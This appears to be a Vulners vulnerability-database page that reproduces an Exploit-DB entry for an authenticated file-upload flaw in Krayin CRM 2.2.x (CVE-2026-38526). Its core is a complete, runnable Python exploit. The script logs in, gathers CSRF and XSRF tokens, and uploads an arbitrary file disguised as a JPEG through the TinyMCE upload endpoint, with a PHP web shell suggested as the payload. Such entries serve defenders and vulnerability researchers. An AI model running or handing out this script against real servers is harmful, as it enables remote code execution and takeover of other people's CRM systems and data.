Lucene search
K

Krayin CRM v2.2.x - Authenticated Remote Code Execution

🗓️ 08 Jul 2026 00:00:00Reported by DiamorphineType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Authenticated file upload in Krayin CRM version 2.2.x enables remote code execution (CVE-2026-38526).

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-38526
11 Jul 202610:57
githubexploit
GithubExploit
Exploit for CVE-2026-38526
24 Jun 202622:16
githubexploit
GithubExploit
Exploit for CVE-2026-38526
8 Jul 202615:57
githubexploit
GithubExploit
Security-Advisories
13 Apr 202618:38
githubexploit
GithubExploit
Exploit for CVE-2026-38526
6 Jul 202615:13
githubexploit
GithubExploit
Exploit for CVE-2026-38526
6 Jul 202621:30
githubexploit
GithubExploit
Exploit for CVE-2026-38526
11 Jul 202610:57
githubexploit
GithubExploit
Exploit for CVE-2026-38526
16 May 202618:51
githubexploit
GithubExploit
Exploit for CVE-2026-38526
13 Jul 202610:31
githubexploit
Circl
CVE-2026-38526
14 Apr 202616:46
circl
Rows per page
# Exploit Title:   Krayin CRM v2.2.x - Authenticated Remote Code Execution
# Date: 07/05/2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://krayincrm.com
# Software Link: https://github.com/krayin/laravel-crm
# Version: 2.2.x
# Tested on: Debian
# CVE : CVE-2026-38526


import asyncio
import httpx
from urllib.parse import * 
import argparse
from bs4 import BeautifulSoup
import json


async def main(url, user, password, file):
    async with httpx.AsyncClient(verify=False) as client:
        url_login = urljoin(url, "/admin/login")
        upload_url = urljoin(url, "/admin/tinymce/upload")
        get_tokens = await client.get(url=url_login)
        soup = BeautifulSoup(get_tokens.text, 'html.parser')
        _token = soup.find('input').get('value')
     
        login_data = {
            "_token": _token,
            "email": user,
            "password": password
        }

        login_r = await client.post(url=url_login, data=login_data)
        xsrf_token = login_r.cookies.get("XSRF-TOKEN")
        headers = {
            "X-XSRF-TOKEN": unquote(xsrf_token)
        }

        with open(file, 'rb') as o_file:
            r = await client.post(url=upload_url, files={"file": (o_file.name, o_file, "image/jpeg")}, headers=headers)
            if r.status_code == 200:
                exploit_url = r.json().get('location')
                print(f'[+] File uploaded successfully.\nPath to file: {exploit_url}')
            else:
                print('[-] File not uploaded.')

parser = argparse.ArgumentParser(description="Exploit for CVE-2026-38526, authenticated file upload.")

parser.add_argument('-t', '--target', required=True, help="Target url. E.g. http://127.0.0.1")
parser.add_argument('-u', '--user', required=True, help="Email.")
parser.add_argument('-p', '--password', required=True, help="Password.")
parser.add_argument('-f', '--file', required=True, help="File to upload (/home/user/shell.php).")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.target, args.user, args.password, args.file))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.9
EPSS0.02759
SSVC
26